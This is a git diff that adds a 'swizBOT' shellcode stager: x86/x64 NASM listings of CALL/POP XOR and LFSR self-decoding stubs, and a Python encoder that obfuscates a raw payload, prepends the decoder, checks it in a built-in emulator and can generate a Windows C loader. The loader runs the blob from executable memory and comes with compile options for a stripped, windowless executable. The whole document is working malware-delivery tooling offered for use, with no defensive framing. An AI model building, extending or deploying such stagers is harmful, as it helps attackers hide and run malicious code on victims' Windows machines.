diff --git a/stager/decoder_x64.asm b/stager/decoder_x64.asm
new file mode 100644
index 0000000..690cd72
--- /dev/null
+++ b/stager/decoder_x64.asm
@@ -0,0 +1,23 @@
+; swizBOT decoder listing - 64-bit
+; CALL/POP XOR decoder family (Jake Swiz technique)
+; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
+; Verify: nasm -f bin decoder_x64.asm && compare with encoder output
+
+BITS 64
+
+stub_xor_loop:
+    db 0xeb, 0x11, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xe2
+    db 0xf8, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
+stub_xor_loop_end:
+
+stub_xor_unrolled:
+    db 0xeb, 0x11, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xfe, 0xc8, 0x75
+    db 0xf6, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
+stub_xor_unrolled_end:
+
+stub_lfsr_loop:
+    db 0xeb, 0x21, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
+    db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x48, 0xff, 0xc6, 0xe2
+    db 0xef, 0xeb, 0x05, 0xe8, 0xda, 0xff, 0xff, 0xff
+stub_lfsr_loop_end:
+
diff --git a/stager/decoder_x86.asm b/stager/decoder_x86.asm
new file mode 100644
index 0000000..4d6d4ac
--- /dev/null
+++ b/stager/decoder_x86.asm
@@ -0,0 +1,23 @@
+; swizBOT decoder listing - 32-bit
+; CALL/POP XOR decoder family (Jake Swiz technique)
+; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
+; Verify: nasm -f bin decoder_x86.asm && compare with encoder output
+
+BITS 32
+
+stub_xor_loop:
+    db 0xeb, 0x0f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xe2, 0xfa, 0xeb
+    db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
+stub_xor_loop_end:
+
+stub_xor_unrolled:
+    db 0xeb, 0x0f, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xfe, 0xc8, 0x75, 0xf8, 0xeb
+    db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
+stub_xor_unrolled_end:
+
+stub_lfsr_loop:
+    db 0xeb, 0x1f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
+    db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x46, 0xe2, 0xf1, 0xeb
+    db 0x05, 0xe8, 0xdc, 0xff, 0xff, 0xff
+stub_lfsr_loop_end:
+
diff --git a/stager/encoder.py b/stager/encoder.py
new file mode 100644
index 0000000..bae32b4
--- /dev/null
+++ b/stager/encoder.py
@@ -0,0 +1,530 @@
+#!/usr/bin/env python3
+"""
+swizBOT stager encoder.
+
+XOR / LFSR position-independent decoders in the Jake Swiz CALL/POP
+style for x86 (32-bit) and x64 (64-bit) Windows. The decoder is prepended
+to the encoded payload; the whole blob is what a loader (or injector)
+executes. Decoders are emitted as raw machine code from the byte tables
+in this file; stager/decoder_x86.asm and stager/decoder_x64.asm are the
+canonical NASM listings and are byte-identical (checked by --selftest).
+
+Decoding is verified in --selftest by executing the stub bytes in a
+tiny instruction emulator (no Windows box required) and by re-assembling
+the NASM listings when nasm is available.
+
+Usage:
+  python3 encoder.py payload.bin out/stager.bin
+  python3 encoder.py payload.bin out/stager.bin --lfsr
+  python3 encoder.py payload.bin out/stager.bin --noloop --arch x64
+  python3 encoder.py payload.bin out/stager.bin --lfsr --loader --arch x64
+  python3 encoder.py --selftest
+"""
+
+import argparse
+import random
+import struct
+import sys
+
+
+# ----------------------------------------------------------------------
+# XOR / LFSR stream encoders
+# ----------------------------------------------------------------------
+
+def xor_encode(data, key):
+    return bytes(b ^ key for b in data)
+
+
+def find_xor_key(data):
+    """Pick a key that produces no zero bytes in the encoded stream."""
+    for key in range(1, 256):
+        if key not in data:
+            return key
+    raise ValueError("no safe XOR key found; use --lfsr")
+
+
+def lfsr_encode(data, seed):
+    """32-bit LFSR stream (polynomial 0x80200003). Key byte is the low
+    byte of the state before each shift - exactly what the asm decoder
+    recomputes."""
+    out = bytearray()
+    state = seed & 0xFFFFFFFF
+    for b in data:
+        out.append(b ^ (state & 0xFF))
+        lsb = state & 1
+        state >>= 1
+        if lsb:
+            state ^= 0x80200003
+    return bytes(out)
+
+
+# ----------------------------------------------------------------------
+# Decoder byte tables. Layouts are fixed; only the length/key/seed
+# bytes are patched. Patch offsets are explicit so the asm listings can
+# be diffed byte-for-byte.
+# ----------------------------------------------------------------------
+
+class Stub:
+    def __init__(self, arch, kind, base, patches):
+        self.arch = arch
+        self.kind = kind
+        self.base = bytearray(base)
+        self.patches = patches  # {name: offset}
+
+    def patched(self, **kwargs):
+        out = bytearray(self.base)
+        for name, off in self.patches.items():
+            val = kwargs[name]
+            if isinstance(val, int):
+                out[off:off + 1] = bytes([val & 0xFF])
+            else:
+                out[off:off + len(val)] = val
+        return bytes(out)
+
+
+# kind -> (arch -> stub bytes, patch map)
+def _u16(v):
+    return struct.pack("<H", v)
+
+
+def _u32(v):
+    return struct.pack("<I", v)
+
+
+# XOR, counter in cx (payload up to 65535 bytes)
+XOR_LOOP = {
+    "x86": Stub("x86", "xor-loop",
+                bytes([0xEB, 0x0F, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
+                       0x80, 0x36, 0, 0x46, 0xE2, 0xFA,
+                       0xEB, 0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF]),
+                {"len": 7, "key": 11}),
+    "x64": Stub("x64", "xor-loop",
+                bytes([0xEB, 0x11, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
+                       0x80, 0x36, 0, 0x48, 0xFF, 0xC6, 0xE2, 0xF8,
+                       0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF]),
+                {"len": 7, "key": 11}),
+}
+
+# XOR unrolled (no `loop` instruction), counter in al (payload <= 255)
+XOR_UNROLLED = {
+    "x86": Stub("x86", "xor-unrolled",
+                bytes([0xEB, 0x0F, 0x5E, 0x31, 0xC0, 0xB0, 0,
+                       0x80, 0x36, 0, 0x46, 0xFE, 0xC8, 0x75, 0xF8,
+                       0xEB, 0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF]),
+                {"len": 6, "key": 9}),
+    "x64": Stub("x64", "xor-unrolled",
+                bytes([0xEB, 0x11, 0x5E, 0x31, 0xC0, 0xB0, 0,
+                       0x80, 0x36, 0, 0x48, 0xFF, 0xC6, 0xFE, 0xC8, 0x75, 0xF6,
+                       0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF]),
+                {"len": 6, "key": 9}),
+}
+
+# LFSR, state in edx, counter in cx (payload <= 65535). The poly
+# constant is baked into the instruction stream.
+LFSR_LOOP = {
+    "x86": Stub("x86", "lfsr-loop",
+                bytes([0xEB, 0x1F, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
+                       0x31, 0xD2, 0xBA, 0, 0, 0, 0,
+                       0x30, 0x16, 0xD1, 0xEA, 0x73, 0x06,
+                       0x81, 0xF2, 0x03, 0x00, 0x20, 0x80,
+                       0x46, 0xE2, 0xF1, 0xEB, 0x05, 0xE8, 0xDC, 0xFF, 0xFF, 0xFF]),
+                {"len": 7, "seed": 12}),
+    "x64": Stub("x64", "lfsr-loop",
+                bytes([0xEB, 0x21, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
+                       0x31, 0xD2, 0xBA, 0, 0, 0, 0,
+                       0x30, 0x16, 0xD1, 0xEA, 0x73, 0x06,
+                       0x81, 0xF2, 0x03, 0x00, 0x20, 0x80,
+                       0x48, 0xFF, 0xC6, 0xE2, 0xEF,
+                       0xEB, 0x05, 0xE8, 0xDA, 0xFF, 0xFF, 0xFF]),
+                {"len": 7, "seed": 12}),
+}
+
+MAX_LEN = {
+    "xor-loop": 65535,
+    "xor-unrolled": 255,
+    "lfsr-loop": 65535,
+}
+
+
+def build_stub(arch, kind, length, key=0, seed=0):
+    table = {"xor-loop": XOR_LOOP, "xor-unrolled": XOR_UNROLLED,
+             "lfsr-loop": LFSR_LOOP}[kind]
+    stub = table[arch]
+    if kind == "xor-loop":
+        return stub.patched(len=_u16(length), key=key)
+    if kind == "xor-unrolled":
+        return stub.patched(len=length, key=key)
+    return stub.patched(len=_u16(length), seed=_u32(seed & 0xFFFFFFFF))
+
+
+# ----------------------------------------------------------------------
+# Tiny x86/x64 emulator used to prove the decoders actually decode.
+# Supports exactly the opcodes the stubs above use.
+# ----------------------------------------------------------------------
+
+class Emu:
+    def __init__(self, code, bits):
+        self.code = code
+        self.bits = bits
+        self.regs = {"e": 0, "c": 0, "d": 0, "s": 0, "a": 0}
+        self.cf = 0
+        self.mask = (1 << bits) - 1
+        self.ip = 0
+        self.stack = []
+
+    def r(self, name):
+        return self.regs[name]
+
+    def setr(self, name, val):
+        self.regs[name] = val & self.mask
+
+    def u8(self, off):
+        return self.code[off]
+
+    def i8(self, off):
+        v = self.code[off]
+        return v - 256 if v > 127 else v
+
+    def i32(self, off):
+        return struct.unpack("<i", self.code[off:off + 4])[0]
+
+    def jmp8(self):
+        """rel8 jump/branch at self.ip: target = ip+2+rel."""
+        self.ip = self.ip + 2 + self.i8(self.ip + 1)
+
+    def step(self):
+        op = self.u8(self.ip)
+        nxt = self.ip + 1
+
+        if op == 0xEB:                       # jmp rel8
+            self.jmp8()
+        elif op == 0xE8:                     # call rel32
+            rel = self.i32(nxt)
+            self.stack.append(nxt + 4)
+            self.ip = nxt + 4 + rel
+        elif op == 0x5E:                     # pop esi/rsi
+            self.setr("s", self.stack.pop())
+            self.ip = nxt
+        elif op == 0x31:                     # xor r32, r32 (reg==rm only)
+            modrm = self.u8(nxt)
+            reg = (modrm >> 3) & 7
+            rm = modrm & 7
+            if modrm & 0xC0 != 0xC0 or reg != rm:
+                raise SystemExit(f"unsupported 31 modrm {modrm:02x}")
+            name = {0: "a", 1: "c", 2: "d", 3: "b", 4: "e", 5: "s"}.get(reg)
+            self.setr(name, 0)
+            self.ip = nxt + 1
+        elif op in (0xB0, 0xB1, 0xB2):       # mov al/cl/dl, imm8
+            self.setr({0xB0: "a", 0xB1: "c", 0xB2: "d"}[op], self.u8(nxt))
+            self.ip = nxt + 1
+        elif op == 0xBA:                     # mov edx, imm32
+            self.setr("d", struct.unpack("<I", self.code[nxt:nxt + 4])[0])
+            self.ip = nxt + 4
+        elif op == 0x66:                     # 66 B9 iw -> mov cx, imm16
+            sub = self.u8(nxt)
+            if sub != 0xB9:
+                raise SystemExit(f"unsupported 66 prefix opcode {sub:02x}")
+            low = self.code[nxt + 1] | (self.code[nxt + 2] << 8)
+            self.setr("c", low)
+            self.ip = nxt + 3
+        elif op == 0x80:                     # 80 /2 -> xor byte [esi], imm8
+            modrm = self.u8(nxt)
+            if modrm != 0x36:
+                raise SystemExit(f"unsupported 80 modrm {modrm:02x}")
+            imm = self.u8(nxt + 1)
+            base = self.r("s")
+            self.code[base] ^= imm
+            self.ip = nxt + 2
+        elif op == 0x30:                     # 30 /r -> xor byte [r/m], r8
+            modrm = self.u8(nxt)
+            if modrm != 0x16:                # [esi] ^= dl
+                raise SystemExit(f"unsupported 30 modrm {modrm:02x}")
+            base = self.r("s")
+            self.code[base] ^= self.r("d") & 0xFF
+            self.ip = nxt + 1
+        elif op == 0x81:                     # 81 /6 id -> xor edx, imm32
+            modrm = self.u8(nxt)
+            if modrm != 0xF2:
+                raise SystemExit(f"unsupported 81 modrm {modrm:02x}")
+            imm = struct.unpack("<I", self.code[nxt + 1:nxt + 5])[0]
+            self.setr("d", self.r("d") ^ imm)
+            self.ip = nxt + 5
+        elif op == 0x46:                     # inc esi
+            self.setr("s", self.r("s") + 1)
+            self.ip = nxt
+        elif op == 0x48:                     # 48 FF /0 -> inc rsi (x64)
+            sub = self.u8(nxt)
+            if sub != 0xFF or self.u8(nxt + 1) != 0xC6:
+                raise SystemExit("unsupported 48-prefixed opcode")
+            self.setr("s", self.r("s") + 1)
+            self.ip = nxt + 2
+        elif op == 0xFE:                     # FE C8 -> dec al
+            sub = self.u8(nxt)
+            if sub != 0xC8:
+                raise SystemExit(f"unsupported FE opcode {sub:02x}")
+            self.setr("a", self.r("a") - 1)
+            self.ip = nxt + 1
+        elif op == 0x75:                     # jnz rel8
+            if self.r("a") != 0:
+                self.jmp8()
+            else:
+                self.ip = nxt + 1
+        elif op == 0xE2:                     # loop rel8 (counter = cx/ecx/rcx)
+            self.setr("c", self.r("c") - 1)
+            if self.r("c") != 0:
+                self.jmp8()
+            else:
+                self.ip = nxt + 1
+        elif op == 0xD1:                     # D1 EA -> shr edx, 1
+            sub = self.u8(nxt)
+            if sub != 0xEA:
+                raise SystemExit(f"unsupported D1 opcode {sub:02x}")
+            self.cf = self.r("d") & 1
+            self.setr("d", self.r("d") >> 1)
+            self.ip = nxt + 1
+        elif op == 0x73:                     # 73 rel8 -> jnc
+            if self.cf == 0:
+                self.jmp8()
+            else:
+                self.ip = nxt + 1
+        else:
+            raise SystemExit(f"unsupported opcode {op:02x} at {self.ip}")
+
+    def run_until(self, target):
+        guard = 0
+        while self.ip != target:
+            self.step()
+            guard += 1
+            if guard > 1 << 20:
+                raise SystemExit("emulator runaway")
+
+
+def emulate_decode(stager, payload_off, bits):
+    """Run the stub; return the decoded payload bytes."""
+    mem = bytearray(stager)
+    emu = Emu(mem, bits)
+    emu.run_until(payload_off)
+    return bytes(mem[payload_off:])
+
+
+def selftest():
+    random.seed(0xC0FFEE)
+    payloads = [b"A", b"\x00\x01\x02", bytes(random.randbytes(200)),
+                bytes(random.randbytes(3000))]
+    total = 0
+    for arch in ("x86", "x64"):
+        bits = 32 if arch == "x86" else 64
+        for kind in ("xor-loop", "lfsr-loop", "xor-unrolled"):
+            for payload in payloads:
+                if len(payload) > MAX_LEN[kind]:
+                    continue
+                if kind == "xor-loop":
+                    try:
+                        key = find_xor_key(payload)
+                    except ValueError:
+                        continue
+                    encoded = xor_encode(payload, key)
+                    stub = build_stub(arch, kind, len(payload), key=key)
+                elif kind == "lfsr-loop":
+                    seed = random.getrandbits(32)
+                    encoded = lfsr_encode(payload, seed)
+                    stub = build_stub(arch, kind, len(payload), seed=seed)
+                else:
+                    key = find_xor_key(payload)
+                    encoded = xor_encode(payload, key)
+                    stub = build_stub(arch, kind, len(payload), key=key)
+
+                stager = stub + encoded
+                decoded = emulate_decode(stager, len(stub), bits)
+                assert decoded == payload, (
+                    f"{arch}/{kind}: decode mismatch for {len(payload)} bytes")
+                total += 1
+    print(f"[+] selftest: {total} emulated decode round-trips OK (x86/x64, "
+          f"xor/lfsr/unrolled)")
+
+
+def nasm_parity():
+    """Byte-compare the emitted stubs with the NASM listings (when nasm
+    is installed and the listings are present). The listing files contain
+    exactly the three stubs in order: xor-loop, xor-unrolled, lfsr-loop."""
+    import os
+    import shutil
+    import subprocess
+    import tempfile
+
+    if shutil.which("nasm") is None:
+        print("[!] nasm not found; skipping listing parity check")
+        return
+    for arch in ("x86", "x64"):
+        asm_path = os.path.join(os.path.dirname(__file__),
+                                f"decoder_{arch}.asm")
+        if not os.path.exists(asm_path):
+            print(f"[!] {asm_path} missing; skipping parity check")
+            continue
+        order = ["xor-loop", "xor-unrolled", "lfsr-loop"]
+        parts = []
+        for kind in order:
+            table = {"xor-loop": XOR_LOOP, "xor-unrolled": XOR_UNROLLED,
+                     "lfsr-loop": LFSR_LOOP}[kind][arch]
+            if kind == "xor-loop":
+                parts.append(table.patched(len=b"\xcc\xcc", key=0xCC))
+            elif kind == "xor-unrolled":
+                parts.append(table.patched(len=0xCC, key=0xCC))
+            else:
+                parts.append(table.patched(len=b"\xcc\xcc", seed=b"\xcc\xcc\xcc\xcc"))
+        expect = b"".join(parts)
+
+        with tempfile.TemporaryDirectory() as tmp:
+            obj = os.path.join(tmp, "s.bin")
+            subprocess.run(["nasm", "-f", "bin", "-o", obj, asm_path],
+                           check=True, capture_output=True)
+            raw = open(obj, "rb").read()
+        if raw != expect:
+            raise SystemExit(
+                f"nasm parity FAILED for {arch}\n got {raw.hex()}\n"
+                f"want {expect.hex()}")
+        print(f"[+] nasm parity OK: decoder_{arch}.asm matches emitted stubs")
+
+
+def emit_asm(arch):
+    """Print the canonical NASM listing for one architecture."""
+    kinds = [("xor_loop", XOR_LOOP[arch], "len", "key"),
+             ("xor_unrolled", XOR_UNROLLED[arch], "len", "key"),
+             ("lfsr_loop", LFSR_LOOP[arch], "len", "seed")]
+    out = []
+    out.append("; swizBOT decoder listing - %s" % ("32-bit" if arch == "x86" else "64-bit"))
+    out.append("; CALL/POP XOR decoder family (Jake Swiz technique)")
+    out.append("; Placeholder bytes are 0xCC and are patched by stager/encoder.py.")
+    out.append("; Verify: nasm -f bin decoder_%s.asm && compare with encoder output" % arch)
+    out.append("")
+    if arch == "x86":
+        out.append("BITS 32")
+    else:
+        out.append("BITS 64")
+    out.append("")
+    for kind, stub, lenname, keyname in kinds:
+        out.append(f"stub_{kind}:")
+        blob = stub.base  # patched with CC placeholders below
+        blob = bytearray(stub.base)
+        if kind == "xor_loop":
+            blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC"
+            blob[stub.patches["key"]] = 0xCC
+        elif kind == "xor_unrolled":
+            blob[stub.patches["len"]] = 0xCC
+            blob[stub.patches["key"]] = 0xCC
+        else:
+            blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC"
+            blob[stub.patches["seed"]:stub.patches["seed"] + 4] = b"\xCC\xCC\xCC\xCC"
+        for i in range(0, len(blob), 16):
+            chunk = blob[i:i + 16]
+            db = ", ".join("0x%02x" % b for b in chunk)
+            out.append(f"    db {db}")
+        out.append(f"stub_{kind}_end:")
+        out.append("")
+    return "\n".join(out) + "\n"
+
+
+def build(payload_path, output_path, use_lfsr, no_loop, arch, loader):
+    with open(payload_path, "rb") as f:
+        payload = f.read()
+    if not payload:
+        sys.exit("[!] payload is empty")
+
+    if no_loop:
+        kind = "xor-unrolled"
+    elif use_lfsr:
+        kind = "lfsr-loop"
+    else:
+        kind = "xor-loop"
+
+    if len(payload) > MAX_LEN[kind]:
+        sys.exit(f"[!] payload {len(payload)} bytes exceeds {kind} limit "
+                 f"of {MAX_LEN[kind]} (use xor-loop/lfsr for larger blobs)")
+
+    if use_lfsr:
+        seed = random.getrandbits(32)
+        encoded = lfsr_encode(payload, seed)
+        stub = build_stub(arch, kind, len(payload), seed=seed)
+        print(f"[+] encoding: LFSR (seed 0x{seed:08x})")
+    else:
+        key = find_xor_key(payload)
+        encoded = xor_encode(payload, key)
+        stub = build_stub(arch, kind, len(payload), key=key)
+        print(f"[+] encoding: XOR (key 0x{key:02x})")
+
+    stager = stub + encoded
+    with open(output_path, "wb") as f:
+        f.write(stager)
+
+    print(f"[+] payload: {len(payload)} bytes")
+    print(f"[+] decoder: {kind} ({len(stub)} bytes, {arch})")
+    print(f"[+] stager:  {output_path} ({len(stager)} bytes)")
+
+    if loader:
+        write_loader(stager, arch, "loader.c")
+
+
+def write_loader(stager, arch, loader_path):
+    blob = "".join("\\x%02x" % b for b in stager)
+    compile_cc = ("i686-w64-mingw32-gcc" if arch == "x86"
+                  else "x86_64-w64-mingw32-gcc")
+    c = f"""/*
+ * swizBOT loader - generated by stager/encoder.py
+ * Decoder family after Jake Swiz (0xXyc).
+ * Compile ({arch}):
+ *   {compile_cc} {loader_path} -o loader.exe -s -Os -fno-stack-protector
+ *   {compile_cc} {loader_path} -o loader.exe -mwindows -s -Os -fno-stack-protector
+ */
+#include <windows.h>
+#include <string.h>
+
+static unsigned char stage[] = "{blob}";
+
+int main(void) {{
+    void *mem = VirtualAlloc(NULL, sizeof(stage), MEM_COMMIT | MEM_RESERVE,
+                             PAGE_EXECUTE_READWRITE);
+    if (mem == NULL) return 1;
+    memcpy(mem, stage, sizeof(stage));
+    ((void (*)(void))mem)();
+    return 0;
+}}
+"""
+    with open(loader_path, "w") as f:
+        f.write(c)
+    print(f"[+] loader:  {loader_path} ({compile_cc})")
+
+
+def main():
+    ap = argparse.ArgumentParser(
+        description="swizBOT stager encoder (CALL/POP XOR/LFSR, x86/x64)")
+    ap.add_argument("input", nargs="?", help="raw payload file")
+    ap.add_argument("output", nargs="?", help="stager output file")
+    ap.add_argument("--lfsr", action="store_true", help="LFSR stream encoding")
+    ap.add_argument("--noloop", action="store_true",
+                    help="unrolled decoder (no loop instruction; max 255 bytes)")
+    ap.add_argument("--arch", choices=("x86", "x64"), default="x86",
+                    help="decoder architecture (default x86)")
+    ap.add_argument("--loader", action="store_true", help="write loader.c")
+    ap.add_argument("--selftest", action="store_true",
+                    help="run emulated decode round-trips and nasm parity")
+    ap.add_argument("--emit-asm", choices=("x86", "x64"),
+                    help="print the canonical NASM listing for an arch")
+    args = ap.parse_args()
+
+    if args.selftest:
+        selftest()
+        nasm_parity()
+        return
+    if args.emit_asm:
+        sys.stdout.write(emit_asm(args.emit_asm))
+        return
+    if not args.input or not args.output:
+        ap.error("input and output are required (or use --selftest)")
+    if args.lfsr and args.noloop:
+        ap.error("--lfsr and --noloop are mutually exclusive")
+    build(args.input, args.output, args.lfsr, args.noloop, args.arch,
+          args.loader)
+
+
+if __name__ == "__main__":
+    main()